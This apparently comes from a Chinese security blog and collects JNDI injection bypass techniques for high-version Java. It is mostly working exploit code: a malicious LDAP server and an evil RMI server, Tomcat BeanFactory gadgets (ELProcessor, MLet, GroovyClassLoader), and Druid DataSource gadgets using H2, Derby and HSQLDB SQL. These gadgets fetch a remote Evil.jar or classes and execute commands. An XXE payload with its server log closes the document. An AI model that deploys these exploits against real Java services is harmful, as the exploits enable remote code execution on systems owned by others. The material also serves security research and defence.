EvilServer选择

LDAPServer

这个不用rmi用ladp也是可以的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.naming.Reference;
import javax.naming.StringRefAddr;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.net.InetAddress;
import java.util.ArrayList;
import java.util.List;

public class LDAPServer {
private static final String LDAP_BASE = "dc=example,dc=com";

public static void main(String[] args) {

int port = 1099;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor());
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch (Exception e) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

@Override
public void processSearchResult(InMemoryInterceptedSearchResult result) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);

e.addAttribute("javaClassName", "foo");
try {

e.addAttribute("javaSerializedData", serialize(derby()));
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
} catch (Exception exception) {
exception.printStackTrace();
}
}
}
public static byte[] serialize(Object object) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(object);
return byteArrayOutputStream.toByteArray();
}

private static Reference derby(){
Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);

List<String> list = new ArrayList<>();
list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:7777/Evil.jar', 'APP.Evil', 0)");
list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
list.add("CALL cmd('calc')");

ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
return ref;
}
}

RMIServer

可以看下面这个ELProcessor的例子

基于BeanFactory

利用类的条件

  • JDK或者常用库的类
  • 有public修饰的无参构造方法
  • public修饰的只有一个String.class类型参数的方法,且该方法可以造成漏洞

ELProcessor

先简单回顾一下这个。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class JNDIBypassHighJavaServerEL {
public static void main(String[] args) throws Exception {
System.out.println("[*]Evil RMI Server is Listening on port: 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(tomcatEl());
registry.bind("Object", referenceWrapper);
}
private static ResourceRef tomcatEl() {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
".newInstance().getEngineByName(\"JavaScript\")" +
".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
return ref;
}

}

MLet

这个可以用来进行gadget探测。因为这个地方只能load。但是不能实例化。

1
2
3
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");
1
2
3
4
5
6
7
8
9
private static ResourceRef tomcatMLet() {  
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=loadClass,b=addURL,c=loadClass"));
ref.add(new StringRefAddr("a", "javax.el.ELProcessor"));
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;
}

GroovyClassLoader

1
2
3
4
5
<dependency>
<groupId>org.apache.groovy</groupId>
<artifactId>groovy</artifactId>
<version>4.0.21</version>
</dependency>
1
2
3
4
5
6
7
8
private static ResourceRef tomcatGroovyClassLoader() {  
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=addClasspath,b=loadClass"));
ref.add(new StringRefAddr("a", "http://127.0.0.1:7777/"));
ref.add(new StringRefAddr("b", "blue"));
return ref;
}

blue.groovy

1
2
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("calc")})
class Person{}

else

像这样可以利用的类还有很多。这里不再一一列举,比如

com.thoughtworks.xstream.XStream().fromXML(String)

com.alibaba.fastjson.JSON.parseObject(jsonString);

org.yaml.snakeyaml.Yaml().load(String)

修复

然而在高版本Tomcat中,移除了forceString进行任意方法调用的机制,下图为Tomcat 8.5.79版本下的BeanFactory#getObjectInstance方法,若在Reference中存在有forceString则抛出异常

但是依旧可以调用任意set方法。

具体可以参考这个 https://xz.aliyun.com/news/16904

基于DruidDataSourceFactory

这个的一个特点就是initConnectionSqls可以执行一些sql语句,在一些需要通过执行sql才能达到rce效果的jdbcAttack中非常适用。

h2&druid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private static Reference druid(){  
Reference ref = new Reference("javax.sql.DataSource","com.alibaba.druid.pool.DruidDataSourceFactory",null);
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +
"INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +
"java.lang.Runtime.getRuntime().exec('calc')\n" +
"$$\n";
String JDBC_USER = "root";
String JDBC_PASSWORD = "password";

ref.add(new StringRefAddr("driverClassName","org.h2.Driver"));
ref.add(new StringRefAddr("url",JDBC_URL));
ref.add(new StringRefAddr("username",JDBC_USER));
ref.add(new StringRefAddr("password",JDBC_PASSWORD));
ref.add(new StringRefAddr("initialSize","1"));
ref.add(new StringRefAddr("init","true"));
return ref;
}

DruidDataSourceFactory.getObjectInstance 简单概括就是从ref中获取一些配置信息后并通过setProperty进行一些配置后连接数据库。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {  
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
if (!"javax.sql.DataSource".equals(ref.getClassName()) && !"com.alibaba.druid.pool.DruidDataSource".equals(ref.getClassName())) {
return null;
} else {
Properties properties = new Properties();

for(int i = 0; i < ALL_PROPERTIES.length; ++i) {
String propertyName = ALL_PROPERTIES[i];
RefAddr ra = ref.get(propertyName);
if (ra != null) {
String propertyValue = ra.getContent().toString();
properties.setProperty(propertyName, propertyValue);
}
}

return this.createDataSourceInternal(properties);
}
} else {
return null;
}
}

derby&druid

1
2
3
4
5
6
7
8
9
10
11
12
13
14
private static Reference derby(){  
List<String> list = new ArrayList<>();
list.add("CALL SQLJ.INSTALL_JAR('http://127.0.0.1:7777/Evil.jar', 'APP.Evil', 0)");
list.add("CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath','APP.Evil')");
list.add("CREATE PROCEDURE cmd(IN cmd VARCHAR(255)) PARAMETER STYLE JAVA READS SQL DATA LANGUAGE JAVA EXTERNAL NAME 'Evil.exec'");
list.add("CALL cmd('calc')");

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:derby:webdb;create=true"));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
return ref;
}

hsqldb&druid

可以结合这个打一打,但是触发jdbc attack后可以进行两种操作。可以反序列化,可以jndi注入。感觉有点鸡肋。
https://github.com/mbadanoiu/CVE-2022-41853

1
2
3
4
5
6
7
8
9
10
11
12
13
private static Reference hsqldb(){  
List<String> list = new ArrayList<>();

list.add("CALL \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true') + \"org.apache.commons.lang.SerializationUtils.deserialize\"(\"org.apache.logging.log4j.core.config.plugins.convert.Base64Converter.parseBase64Binary\"('base64code'))");
list.add("CALL java.lang.System.setProperty\"('com.sun.jndi.ldap.object.trustURLCodebase','true') + \"javax.naming.InitialContext.doLookup\"('ldap://127.0.0.1:4444/pgesux')");

Reference ref = new Reference("javax.sql.DataSource", "com.alibaba.druid.pool.DruidDataSourceFactory", null);
ref.add(new StringRefAddr("url", "jdbc:hsqldb:mem:."));
ref.add(new StringRefAddr("init", "true"));
ref.add(new StringRefAddr("initialSize", "1"));
ref.add(new StringRefAddr("initConnectionSqls", String.join(";", list)));
return ref;
}

MemoryUserDatabaseFactory

这个factory是tomcat自带的。对应的getObjectInstance可以造成xxe。

XXE

1
2
3
4
5
6
private static ResourceRef tomcatManagerXEE() {  
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:7777/exp.xml"));
return ref;
}

exp.xml

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % romote SYSTEM "http://127.0.0.1:7777/RequestFromXXE"> %romote;]>
<root/>
1
2
3
4
5
D:\classes>python -m http.server 7777
Serving HTTP on :: port 7777 (http://[::]:7777/) ...
::ffff:127.0.0.1 - - [29/Mar/2025 18:16:33] "GET /exp.xml HTTP/1.1" 200 -
::ffff:127.0.0.1 - - [29/Mar/2025 18:16:33] code 404, message File not found
::ffff:127.0.0.1 - - [29/Mar/2025 18:16:33] "GET /RequestFromXXE HTTP/1.1" 404 -

还可以达到创建tomcat用户进而RCE的效果。但是在linux环境下需要结合基于BeanFactory创建文件夹。局限性比较大。

https://tttang.com/archive/1405/#toc_rce